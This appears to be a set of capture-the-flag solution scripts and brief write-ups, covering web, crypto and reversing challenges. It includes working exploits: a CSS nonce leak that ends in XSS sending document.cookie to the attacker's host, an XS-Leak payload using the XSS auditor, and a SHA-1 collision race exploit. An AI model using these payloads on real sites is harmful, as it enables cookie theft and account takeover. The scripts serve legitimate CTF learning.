https://gist.github.com/hama7230/f47f3f76ff0de87e78201bf42ae41e76
https://gist.github.com/hama7230/6671b5bb49ee2f5f39d7c70f77e485eb
https://gist.github.com/hama7230/ef32274f194eda67e2a18b91f61707a1
The nonce can be leaked by CSS selector which results in XSS.
from flask import Flask, request
import urllib
host_url = 'http://[host]'
target_url = 'http://35.187.214.138:10023'
app = Flask(__name__)
nonce = ''
def gen_style():
res = ''
for c in "0123456789abcdef":
res += 'script[nonce ^= "{}"]{{background:url({})}}'.format((nonce + c), host_url + '/css?c=' + c)
return res, 200, {'Content-Type': 'text/css'}
@app.route('/')
def index():
global nonce
dest = target_url + '/?q=' + urllib.parse.quote('<meta http-equiv="refresh" content="0.2;URL=\'{}\'"><link rel=stylesheet href={}>'.format(host_url, host_url+'/css'))
if len(nonce) < len('3f35acde60de73856da8c81592a43a74'):
return '<meta http-equiv="refresh" content="0;URL=\'{}\'">'.format(dest)
else:
return '<meta http-equiv="refresh" content="0;URL=\'{}\'">'.format(target_url+'/?q=<script nonce={}>fetch(`{}/?flag=${{document.cookie}}`)</script>'.format(nonce, host_url))
@app.route('/css')
def css():
global nonce
c = request.args.get('c', '')
if c:
nonce += c
return gen_style()
if __name__ == '__main__':
app.run(port=10080)
package main
// Send http://westerns.tokyo:8181/
import (
"crypto/rand"
"fmt"
"github.com/labstack/echo"
"github.com/labstack/echo/middleware"
"log"
"net/http"
"strconv"
"sync"
"time"
)
func main() {
e := echo.New()
e.Use(middleware.Logger())
base_url := "http://westerns.tokyo:8181"
base := ""
mtx := &sync.Mutex{}
e.GET("main.css", func(c echo.Context) error {
css := ""
nonce := make([]byte, 16)
rand.Read(nonce)
for i := 0; i < 32; i++ {
css += fmt.Sprintf("@import url(\"%s/style.css?id=%d&nonce=%x\");", base_url, i, nonce)
}
c.Response().Header().Add(echo.HeaderContentType, "text/css")
return c.String(http.StatusOK, css)
})
curId := 0
e.GET("/style.css", func(c echo.Context) error {
param, err := strconv.ParseInt(c.QueryParam("id"), 10, 64)
if err != nil {
return err
}
for {
mtx.Lock()
if curId == int(param) {
mtx.Unlock()
break
}
mtx.Unlock()
time.Sleep(10*time.Millisecond)
}
css := ""
for i := 0; i < 16; i++ {
css += fmt.Sprintf(`
script[nonce^='%s%01x'] {
background: url(%s/result?result=%s%01x);
}
`, base, i, base_url, base, i)
}
c.Response().Header().Add(echo.HeaderContentType, "text/css")
c.String(http.StatusOK, css)
log.Print("ret")
return nil
})
e.GET("/result", func(c echo.Context) error {
result := c.QueryParam("result")
base = result
c.String(http.StatusNotFound, "")
mtx.Lock()
curId++
mtx.Unlock()
return nil
})
e.GET("/redirect", func(c echo.Context) error {
for {
mtx.Lock()
if curId == 32 {
mtx.Unlock()
break
}
mtx.Unlock()
time.Sleep(10*time.Millisecond)
}
return c.Redirect(http.StatusFound, fmt.Sprintf("http://35.187.214.138:10023/?q=<script nonce=\"%s\">location.href=\"%s/cookie?\"%%2bbtoa(document.cookie);</script>", base, base_url))
})
e.GET("/", func(c echo.Context) error {
html := fmt.Sprintf(`
<iframe src='http://35.187.214.138:10023/?q=<style>@import url("http://westerns.tokyo:8181/main.css");</style>''></iframe>
<iframe src="%s/redirect"></iframe>
`, base_url);
return c.HTML(http.StatusOK, html)
})
log.Fatal(e.Start(":8181"))
}
The bug was on /post/transafer
api.
return err(401, 'login first') unless src = session[:user]
return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
return err(400, 'bad request') unless amount = params[:amount] and String === amount
return err(400, 'bad request') unless amount = amount.to_i and amount > 0
sleep 1
hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}
...
balance_src -= amount
balance_dst += amount
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst
it has some check about src
and dst
to prevent users from sending money to their own account, no checks about hashed_{src,dst}
though.
SHAttered will help you doubling money :)
import requests
import concurrent.futures
import os
import hashlib
def randstr(n=8):
import random
import string
chars = string.ascii_lowercase + string.ascii_uppercase + string.digits
return ''.join([random.choice(chars) for _ in range(n)])
class Client(object):
URL = "http://34.85.75.40:19292"
def __init__(self, username, password):
self.username = username
self.password = password
self.sess = requests.session()
def balance(self):
req = self.sess.post(self.URL + '/api/balance')
return req.content
def register(self):
req = self.sess.post(self.URL + '/api/register', data={'user': self.username, 'pass': self.password})
return req.content
def login(self):
req = self.sess.post(self.URL + '/api/login', data={'user': self.username, 'pass': self.password})
return req.content
def transfer(self, target, amount):
req = self.sess.post(self.URL + '/api/transfer', data={'target': target, 'amount': [amount]})
return req.content
def flag(self):
req = self.sess.get(self.URL + '/api/flag')
return req.content
d1 = b'%PDF-1.3\n%\xe2\xe3\xcf\xd3\n\n\n1 0 obj\n<</Width 2 0 R/Height 3 0 R/Type 4 0 R/Subtype 5 0 R/Filter 6 0 R/ColorSpace 7 0 R/Length 8 0 R/BitsPerComponent 8>>\nstream\n\xff\xd8\xff\xfe\x00$SHA-1 is dead!!!!!\x85/\xec\t#9u\x9c9\xb1\xa1\xc6<L\x97\xe1\xff\xfe\x01sF\xdc\x91f\xb6~\x11\x8f\x02\x9a\xb6!\xb2V\x0f\xf9\xcag\xcc\xa8\xc7\xf8[\xa8Ly\x03\x0c+=\xe2\x18\xf8m\xb3\xa9\t\x01\xd5\xdfE\xc1O&\xfe\xdf\xb3\xdc8\xe9j\xc2/\xe7\xbdr\x8f\x0eE\xbc\xe0F\xd2<W\x0f\xeb\x14\x13\x98\xbbU.\xf5\xa0\xa8+\xe31\xfe\xa4\x807\xb8\xb5\xd7\x1f\x0e3.\xdf\x93\xac5\x00\xebM\xdc\r\xec\xc1\xa8dy\x0cx,v!V`\xdd0\x97\x91\xd0k\xd0\xaf?\x98\xcd\xa4\xbcF)\xb1\xd3\xc1Ns\x88_\xa8\x98\xdcna\xad\xadp\xa5\xfa\x17\xe3Y%\xcb\x93\\\x9c_\xba\xe4\x03\x0c\x87\xd4\xf6'
cli = Client(d1, 'hogehogehogehoge')
cli.login()
print(cli.balance())
print(cli.flag())
exit()
appendix = os.urandom(32)
d1 += appendix
d2 += appendix
print(d1)
print(d2)
assert hashlib.sha1(d1).hexdigest() == hashlib.sha1(d2).hexdigest()
password = 'hogehogehogehoge'
cli1 = Client(d1, password)
cli2 = Client(d2, password)
cli1.register()
print(cli1.login())
print(cli2.login())
amount = 100
while amount < 10000000000:
cli1.transfer(d2, amount)
amount *= 2
print(cli1.balance())
print(cli1.flag())
Target web application has special feature for account recovery and the profile page unescaped can be injected with arbitrary HTML, but no XSS because of Content Security Policy.
Obviously this feature can be used to solve the challenge by leaking preference set of admin, resulting account recovery.
The part of html describing preference is here:
<input type="checkbox" id="grapes" onchange="grapes.checked=true;">
you can recover the account if you know the fruit is checked or not.
There is cool challenge called filemanager
in 35C3CTF abusing Chrome XSS auditor to leak contents of cross-site page, this method can be used in RECON challenge as well.
Here is example payload to check if a fruit is checked:
http://34.97.74.235:10033/profile?a=onchange=%22grapes.checked=true;%22
the request will be blocked if they checked grapes
.
final payload:
<!doctype>
<html>
<head>
</head>
<body>
<script>
var flags = []
var check = (fruit) => {
var url = `http://34.97.74.235:10033/profile?a=onchange=%22${fruit}.checked=true;%22`;
var ifr = document.createElement('iframe');
document.body.appendChild(ifr);
ifr.onload = () => {
ifr.onload = () => {
console.log('hit');
flags.push(fruit);
fetch('/?c=' + flags.toString());
}
ifr.src = ifr.src + '#'
}
ifr.src = url;
}
[
'grapes',
'melon',
'watermelon',
'tangerine',
'lemon',
'banana',
'pineapple',
'pear',
'peach',
'cherries',
'strawberry',
'tomato',
'coconut',
'mango',
'avocado',
'aubergine',
'potato',
'carrot',
'broccoli',
'mushroom',
].map((el) => {
check(el)
})
</script>
</body>
</html>
you’ll get request with leaked fruits, would help you to recover admin account to get flag :)
#include <iostream>
#include <gmpxx.h>
using namespace std;
mpz_class X = mpz_class("950358059600474305827771380683741458994102949126303386140253951747972276999022342208262800760061154398271068516253175545735456284984933121377404958083314600655447129775868209462982744186518957772122396756451141101530041779955245471472134699242664534814221273939880846730251297763359790557422127540709102136769366092399273623925570872859266548882987518588530617720397165019176108480156876913848103894864771903530413550704276937306948683609983799509662220045635940160920596367820951543381669617525581893239594901173734116054697069635020002486845048804682305078106964316183798068618639241948197675223115348163019048625373765550949273567042933864894263655621306241833349642978696892492213984491118558186425036609374626368657763236619642299850791946710919682040219563850092641243093906165685956695639258845635807997678135071126411514233212329352759106255311517050069284549350052584108601349762457513286109309685191933647198018596263095604001928907171502875081594253618031333487818528683297444472724705834348968685867101260408703944578321377003322277616161558951427955865100991857694166101106561131471922637073992792768831828380493392423497335535612525566590750772745411732685028183267169226764749141325626854817138130631949844771053951960");
mpz_class N = mpz_class("247465623232529638570403627954515140549125464704817835183645669188472743182462350040656945325450657857795456553396687569720980842982926845337227966696522093282786882561968615864736765752433069546858439815030651380785843674190791402853951236494718634304312751098515936783858994195570922580683332803369701363402529074402664491617600861267722232614873579834618864491313983011984783179171484956546212881647063328679330401752122426273399745247394558879616944190407436620707694460705838905167958310291748206503803245570812818460951229153004100082641961722909449085000926517536505862666390730672438786667437732727892530932043888271965398718458040093563806864200347078192024936196446329155635755682462402577559908583721738674671712235928511130814290140488609275201531091941022025423945245655138749471773951982326940397563668812663911560805472790354465176645654925712665466908761601630548710031513794557078929877256958912825742035898444107900195605803439822642914124421169419665012462368428063174117176948217351889525290996526478175910563577827404884951074164990948585830040593958196959384856700062914243351708318383463054253935630461024868395311859856823997566468043613201152144317218540388233163044090076375023156913766157903266102228806511766874546238501462729789311305353532852243350014435557292562277534441782977536950667942409622824703681942287094306687529563976259226568536477006987758537902779031652725318651412097989762378829049950725567335828279044984627929916893167368380666080846093308718960187199678171390844781410123277536707822610961039098290794321102160488402500912631820436740755297381500867354726950237473157706745732481020409089136649142836959359494679712387674635517522465929790194532886549752549296525326753661396418942921238641862841862062523739794185828404110732054050991100263967931482921549160288056234483320030511150838991553475977254477982555698760709836081377694957203251796012604022819780158470545306037123726144297059699951351522178070972246076273281750790146118258080309984762387853921776334456422671205443649323821265510825075358823620914441131837218471866299818058325805391640744310939129416240071558620256757906619101813132910694274256665801559376989999327799895968742876386311015510228756261286000612508092571831683964733063518480933968224775829439608716169155578215817882852862506665551979130227190512028135937769869149065155592833328152008778223352658264026115418397316311825039015464475393415911842445128662864755158473389001859110809489");
mpz_class one = 1;
void search(const mpz_class &p,const mpz_class &q, int i) {
mpz_class diff = (N - p * q);
mpz_class mask = (one << i);
if ((diff % mask) != 0) {
return;
}
if (p * q == N) {
cout << p << endl;
cout << q << endl;
exit(0);
}
if( i > 4192) {
if (p * q == N) {
cout << p << endl;
cout << q << endl;
}
return;
}
for (int j = 0; j < 2; j++) {
mpz_class np = p + j * (one << i);
mpz_class nq = q + (j ^ (X >> i & 1)) * (one << i);
search(np, nq, i + 1);
}
}
int main() {
search(mpz_class(0), mpz_class(0), 0);
return 0;
}
require_relative 'params'
def add(x, y)
a, b = x
c, d = y
[a+c, b+d]
end
def sub(x, y)
a, b = x
c, d = y
[a-c, b-d]
end
def mul(x, y)
a, b = x
c, d = y
[a*c - b*d, a*d + b*c - b*d]
end
def idivround(x, y)
if y < 0 then
x, y = -x, -y
end
d = x / y
r = x % y
if 0 <= d then
y <= r * 2 ? d + 1 : d
else
y < r * 2 ? d + 1 : d
end
end
def div(x, y)
a, b = x
c, d = y
[idivround((a*c + b*d - a*d), (c*c + d*d - c*d)),
idivround((b*c - a*d), (c*c + d*d - c*d))
]
end
def mod(x, y)
k = div(x, y)
sub(x, mul(k, y))
end
def extgcd(a, b)
return [[1, 0], [0, 0]] if b == [0, 0]
y, x = extgcd(b, mod(a, b))
y = sub(y, mul(div(a, b), x))
return [x, y]
end
def invmod(a, m)
x, _ = extgcd(a, m)
x = mod(x, m)
v = mod(mul(x, a), m)
if v == [1, 0] then
return x
elsif v == [-1, 0] then
return [-x[0], -x[1]]
else
fail [a, m, x, v].to_s
end
end
def extgcd2(a, b, z)
return [z, [0, 0]] if b == [0, 0]
y, x = extgcd2(b, mod(a, b), z)
y = sub(y, mul(div(a, b), x))
return [x, y]
end
def invmod2(a, m)
[
# why?
[1, 0],
[-1, 0],
[0, 1],
[0, -1],
[1, 1],
[1, -1],
[-1, 1],
[-1, -1],
].each do |z|
x, _ = extgcd2(a, m, z)
x = mod(x, m)
v = mod(mul(x, a), m)
if v == [1, 0] then
return x
end
end
fail [a, m].to_s
end
def crt(m1, m2, a, b)
mod(add(mul(mul(m2, a), invmod2(m2, m1)),
mul(mul(m1, b), invmod2(m1, m2))),
mul(m1, m2))
end
s, m = PROBLEM.reduce do |s, e|
x, m1 = s
y, m2 = e
[crt(m1, m2, x, y), mul(m1, m2)]
end
puts [s[0].to_s(16), s[1].to_s(16)].pack("H*H*")
require 'httpclient'
@client = HTTPClient.new
@base_url = 'http://34.85.75.40:10030'
def shot()
resp = @client.post(@base_url + '/shot', '')
ret = resp.body
if ret == 'bang!'
return :bang
else
# TODO: Show flag
STDERR.puts ret
return ret.to_i
end
end
def roll()
resp = @client.post(@base_url + '/roll', '')
p resp.body
return
end
def get_single()
r = 0
r += 1 while shot() != :bang
return r
end
File.open('data', 'w') do |f|
5.times do
random = 0
16.times do |i|
random = random * 6 + get_single()
end
STDERR.puts random
lower = random / 6.0 ** 16 + 1
upper = (random + 1) / 6.0 ** 16 + 1
lbits, rbits = [lower, upper].pack("D*").unpack("Q*").map{|a|'%052b'% (a - 0x3FF0000000000000)}
64.times do |i|
next if lbits[0, i] == rbits[0, i]
f.puts "%d %d %d" % [lbits.to_i(2), rbits.to_i(2), (1 << 52) - (1 << (52 - i + 1))]
break
end
end
end
z3 = `python xorshift-z3.py`.lines.map(&:to_i)
ns = z3.map{|a|('%00000000000000000000000000000000' + a.to_s(6))[-16..-1]}.join
ns.each_char do |n|
n.to_i.times do |i|
shot()
end
roll()
end
# coding: utf-8
import struct
import math
from z3 import *
def realXorShift128(state0, state1):
s1 = state0
s0 = state1
s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
return (s0, s1)
def xorshift128(state0, state1):
s1 = state0
s0 = state1
s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
s1 ^= LShR(s1, 17) & 0xFFFFFFFFFFFFFFFF
s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
s1 ^= LShR(s0, 26) & 0xFFFFFFFFFFFFFFFF
return (s0, s1)
def invert(state0, state1):
s = Solver()
orig_state = state = (BitVec("s0", 64), BitVec("s1", 64))
state = xorshift128(state[0], state[1])
s.add(state[0] == state0)
s.add(state[1] == state1)
s.check()
model = s.model()
return (model[orig_state[0]].as_long(), model[orig_state[1]].as_long())
kMantissaMask = 0x000FFFFFFFFFFFFF
kExponentBits = 0x3FF0000000000000
def to_double(state0, state1):
return struct.unpack('<d', struct.pack('<Q', ((state0 + state1) & kMantissaMask) | kExponentBits))[0] - 1
def to_random(dbl):
return int(math.floor(dbl * 6 ** 16))
# C++との比較
test_state0 = test_state1 = 0x123456789012345
test_next0 = test_state0
test_next1 = test_state1
test_count = 3
assert realXorShift128(test_state0, test_state1) == (81985529205302085,12953717993055603746)
for i in xrange(test_count):
test_next0, test_next1 = realXorShift128(test_next0, test_next1)
test_state = (BitVec("s0", 64), BitVec("s1", 64))
test_orig_state = test_state
for i in xrange(test_count):
test_state = xorshift128(test_state[0], test_state[1])
# test_vec = vector(GF(2),N)
test_solver = Solver()
test_solver.add(test_state[0] == test_next0)
test_solver.add(test_state[1] == test_next1)
assert str(test_solver.check()) == 'sat'
test_model = test_solver.model()
assert test_model[test_orig_state[0]].as_long() == test_state0
assert test_model[test_orig_state[1]].as_long() == test_state1
# test_initial_state = Matrix(test_state).solve_right(test_vec)
# for i in xrange(0,64):
# assert test_initial_state[i] == test_state0 >> i & 1
# assert test_initial_state[i + 64] == test_state1 >> i & 1
# NodeJSからの取得データ
# print '%x' % struct.unpack('<Q', struct.pack('<d', float(0.004444444443838069 + 1)))[0]
real_data = [struct.unpack('<Q', struct.pack('<d', float(line.rstrip()) + 1))[0] & ((1 << 52) - 1) for line in open('sample.txt', 'r').readlines()][::-1]
state = (BitVec("s0", 64), BitVec("s1", 64))
s = Solver()
MantissaMask = 0x000FFFFFFFFFF000
for i in xrange(3):
s.add(real_data[i] & MantissaMask == ((state[0] + state[1]) & MantissaMask))
state = xorshift128(state[0], state[1])
# print s.check()
# print s.model()
# # 実処理
# print '%x' % struct.unpack('<Q', struct.pack('<d', float(0.004444444443838069 + 1)))[0]
# real_data = [struct.unpack('<Q', struct.pack('<d', float(line.rstrip()) + 1))[0] & ((1 << 52) - 1) for line in open('sample.txt', 'r').readlines()][::-1]
# state = (BitVec("s0", 64), BitVec("s1", 64))
# s = Solver()
# MantissaMask = 0x000FFFFFFFFFF000
# for i in xrange(3):
# s.add(real_data[i] & MantissaMask == ((state[0] + state[1]) & MantissaMask))
# state = xorshift128(state[0], state[1])
# print s.check()
# print s.model()
s = Solver()
state = (BitVec("s0", 64), BitVec("s1", 64))
orig_state = state
for line in open('data', 'r').readlines()[::-1]:
lbits, rbits, mask = map(int, line.rstrip().split())
assert ((lbits ^ rbits) & mask) == 0
s.add(lbits & mask == ((state[0] + state[1]) & mask))
state = xorshift128(state[0], state[1])
s.check()
s0 = s.model()[orig_state[0]].as_long()
s1 = s.model()[orig_state[1]].as_long()
for i in xrange(0, 10):
s0, s1 = invert(s0, s1)
print to_random(to_double(s0, s1))
? P = 2 ^ 256 - 2 ^ 32 - 313441
? E = ellinit([0,0,0,0,7]*Mod(1,P))
? Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
? Gy = 82420052799988522717532479648954225145345455265426509542622303173620650331589
? ellorder(E, G)
%15 = 2315841784746323908471419700173758157065399693312811280789151680158176687184
? factor(2315841784746323908471419700173758157065399693312811280789151680158176687184)
[ 2 4]
[ 3 1]
[ 23 1]
[ 251 1]
[ 157229 1]
[ 7392373 1]
[ 8666891 1]
[ 18222037 1]
[ 696663547 1]
[ 946050631 1]
[ 237140208281 1]
[291304131568817 1]
? h = [ 0x56df2adff3c3749cc4c62c9e7da339dc02d157868a1d76f9d058d634d6a9525f, 0xc167d7eb600437e2d6ead69ebcf2b1b2f88939c0fafda0b19aa3db33f5024b43]
? elllog(E, h, G, ellorder(E, G))
%14 = 1087950870612075716361732424623822388961276702940085355932530092911122308221
from Crypto.Util.number import *
P = 2 ** 256 - 2 ** 32 - 313441
n = 2315841784746323908471419700173758157065399693312811280789151680158176687184
x = 1087950870612075716361732424623822388961276702940085355932530092911122308221
for i in xrange(32):
flag = long_to_bytes(x + n*i)
if flag[:7] == "TSGCTF{" and flag[-1:] == "}":
print(flag)
1,2c1,2
< 00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0048 ......JFIF.....H
< 00000010: 0048 0000 ffdb 0084 0005 0304 0404 0305 .H..............
---
> 00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001 ......JFIF......
> 00000010: 0001 0000 ffdb 0084 0005 0304 0404 0305 ................
11c11
< 000000a0: 3201 9003 0111 0102 1100 0311 00ff c401 2...............
---
> 000000a0: 3201 9003 0111 0002 1101 0311 01ff c401 2...............
Downloaded archive is zipped modified git repository.
Git pack object managed by git is useful to track all files in the repository. You can get all files in git repository by extracting git pack object.
unzip problem.zip
mkdir test
cd test
git init
git unpack-objects < ../easy_web/.git/objects/pack/pack-b799d65ebb2cc3fab7878fcf2a2642585de29408.pack
Then you can take all files by checking sha1 hash.
cd .git/objects
find . -type f | sed 's/[\.\/]//g' | while read h
do
git cat-file -p $h
done | string
flag = File.open("./flag", "r") do |f|
db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"
100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc flag
100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc flag
100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc flag
flag = File.open("./flag", "r") do |f|
db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"
The flag is admin's password.
100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc flag
check the hash of flag and extract the file. note that the file is decompressed by zlib.
~$ git cat-file -p 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc | zlib-flate -uncompress
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
You can get both flags with same process.
$ ttx -o ffi.ttx ffi.ttf
from bs4 import BeautifulSoup
soup = BeautifulSoup(open('ffi.ttx','r').read(), "xml")
lookups = soup.find('GSUB').find('LookupList').find_all('Lookup')
chain_context = soup.find('GSUB').find('LookupList').find_all('ChainContextSubst')
flag = '}'
current_index = 51
while True:
for ctx in chain_context:
if current_index == int(ctx.find('LookupListIndex').attrs['value']):
backtrack_cov = ctx.find('BacktrackCoverage').find('Glyph').attrs['value']
break
is_break = False
for i in range(len(lookups)):
subs = lookups[i].find_all('Substitution')
for sub in subs:
if sub.attrs['out'] == backtrack_cov:
flag_char = sub.attrs['in']
if flag_char == 'underscore':
flag_char = '_'
elif flag_char == 'braceleft':
flag_char = '{'
flag = flag_char + flag
print(flag)
current_index = i
is_break = True
break
if is_break:
break
from z3 import *
vm_code = '''++++++++++lz>+>>>+++>++>+++>>>>>+++>>++++>>>>>>+++>>>>>>+++>++++>>>>>>+++>+++++>+++>>>>>+++>>++>>>>>+++>+>>s<m++++m+++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>+++++++>>s<m++++m++>z>>>>+++>>++++>>>>>+++>+>++++++>>>>>>+>>>>>>+++>++++>>>>>>+++>>++>>>>>+++>+>>s<m+++++++m++++++++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>+++++++>>s<m++++m++>z>>>>+++>>++++>>>>>+++>+>++++++>>>>>>>>>>>>+++>++++>>>>>>+++>>+++++>>>>>+++>+>>s<m+m+m+++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>+++++++>>s<m++++m++>z>>>>+++>>++++++>>>>>+++>+>++++>>>>>>>>>>>>+++>++++++>>>>>>+++>>+++++>>>>>+++>+>>s<m+m+m+++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>>s<m++++m++>z+++++++>>>>>+++>>+++++>>>>>+++>+>>s<m+m+m++++>z>>>>>>>>>>>+++>+++++>>>>>>+++>++++++>+++++>>>>>+++>>++++++>>>>>+++>+>>s<m+m+m+++++>z>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+++>+>+++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+>>s<m++++m+++++++>z>>>>>+++>>++>>>>>+++>+>>s<m+m+m++++>z>>>>>>>>>>>+++>++>>>>>>+++>++++++>++>>>>>+++>>++++++>>>>>+++>+>>s<m+m+m+++++>z>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+++>+>+++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+>>s<m++++++m++++++>z>>>>>+++>>s<m+m+m++++++>z+++>>>>>+++>++>+++>>>>>+++>>++>>>>>+++>+>>s<m+m+m+++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>+++++++>>s<m++++m++>z>>>>+++>>++>>>>>+++>+>>s<m+m+++++m++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>>s<m+m+m+++++++>z>s<m++++m++>z>>>>+++>>++++++>>>>>+++>+>++++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+++>+>+++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>>s<m+m+m++++++>z>>>>+++>+>++++++>>>>>>>>>>>>+++>>s<m+m+m++++++>z>>>>>+++>>++>>>>>+++>+>>s<m+m+m++++>z>>>>>>>>>>>+++>++>>>>>>+++>++++++>++>>>>>+++>>++++++>>>>>+++>+>>s<m+m+m+++++>z>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+++>+>+++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+>>s<m+++m+++++++>z>>>>>+++>>>s<m+m+m++++++>z>>>>+>>s<m++m>z+>>>>>+++>>>s<m+m+++++m+++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m++++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m++++++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m>z>>>>>++++>>>>>>+++>>>s<m+m+m++++>z>>>>+>>s<m++m++>z+>>>>>+++>>>s<m+m++++++m+>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m+++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m>z>>>>>++++>>>>>>+++>>>s<m+m+m++++>z>>>>+>++>>+>>>>>+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>++++++>>>>>s<m+++m+m+m+++++++++m++++>z>>>>s<m+++m++m++++m++++++++m+>z>>>>s<m+m++m+++++m+m+++>z>>>>s<m++++++mm+++++++++m+++++++m++++++++>z>>>>s<m++++m+m++++++m+m+++++++>z>>>>s<m++m+++++++m++++++m++++++m++++++>z>>>>s<m+++mm++++++m+++++m+++++++>z>>>>s<m++m+++++++++mm+++++++++m>z>>>>s<m++mm++++++++m+++++++++m>z>>>>s<m+++mm++m+++++++m>z>>>>s<m++++++m++++m++++m++m++++++>z>>>>s<m++++m++m++++++m+++++++m+++>z>>>>s<m+mm+++++m++++m+++++++++>z>>>>s<m++m+++++mm+++++++m+++>z>>>>s<m++++++m++m+++++m++++m++++>z>>>>s<m++++mm++++m++m++++>z>>>>s<m++++m+++++m++++++m++++++m+>z>>>>s<m+++++m++++m++++++++m+m++++++++>z>>>>s<m+++m+++++++++m++m+++++++m++++>z>>>>s<m++++m++++m++m+++++m+++>z>>>>s<m++m++++++++m++++m++m++>z>>>>s<m++m++++++++m++m++++++>z>>>>s<m+++m++m++m++m+>z>>>>s<m++++m+++m+m+++++++++m+++++++++>z>>>>s<m++++++m++m+mm+>z>>>>s<m++++++++m+++++++++m++m+++++++>z>>>>s<m+++m+++++m+++m+++m+++>z>>>>s<m++m+++++>z>>>>s<m+m++++++++m++m+++++m++++++>z>>>>s<m+++m++m++m+++++m+++++>z>>>>s<m++m+++m++m++++++++m>z>>>>s<m+++++m+m++m+++++++++m>z>>>>s<m+++m+++++m++++++++m+>z>>>>s<m+++m++++mm+++++++++>z>>>>>>>++++++++>>>>>s<m++++++++m++++++m+++++m++++++>z>>>>s<m+m++++++++m++++++m+++++++m++++++>z>>>>s<m++++++m++m+++++++m++m+>z>>>>s<m+m+++++++m+++++m+++m>z>>>>s<m+++m+m++++++m++++m++>z>>>>s<m++++++m+++++m+m+++++++m+++>z>>>>s<m+++++m++m+++++++m++++++m+++>z>>>>s<m+m++++++++m+++++++++m+++++++++m+>z>>>>s<m++++m+m+++++++++m++++m+++++>z>>>>s<m++m++++m++++++m++++++m+++++>z>>>>s<m++++m++++m+++++++m++++m>z>>>>s<m+++++m+m++++m+m++++++++>z>>>>s<m+++++m+mm++++++++m+>z>>>>s<m++++++m+++m++++++++mm+++++++>z>>>>s<m+m++++m+++++++m++++>z>>>>s<m+m+++++++++m+++m+++++++m++++++>z>>>>s<m++++++m++++m++++m++++m>z>>>>s<m++m++m+++++++++m+m++++>z>>>>s<m+++m++++++++m+++m+++++++++m+>z>>>>s<m+++++m++m+m+++m+++++>z>>>>s<m++++m+++++m+++++mm+++>z>>>>s<m+m++++++++m++m+++++++m+++>z>>>>s<m+++m+++++++m++++m+++++m+++++>z>>>>s<m+++mm+m++++m+++++++>z>>>>s<m++m++++++mm+++++++m+++++++>z>>>>s<m+++++m+++++m+++++++++m+++++m+++++>z>>>>s<m+m++m++++m++++++++m+>z>>>>s<m++++m+++++m++m+m+++++++>z>>>>s<m++++++m+++m++++++m+++++++m++++++++>z>>>>s<m++m+++++++++m+++++m+>z>>>>s<m+m+++++m++m+++m++++>z>>>>s<m+++++m+++++m+++++m++++++m+>z>>>>s<m++++mm++++++++m++m+++++++>z>>>>s<m+m+++m+++m+++m++++>z>>>>s<m++++m++++>z>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>s<m+++++++m+++++++++>z>>>+>>>>>s<m+++m++++>z>>>>>>>++++>>>>>s<m+++++m+++++m+++m+m+++++++++>z>>>>s<m++++m++++++m++++++mm+++>z>>>>s<m++++++++m+++++++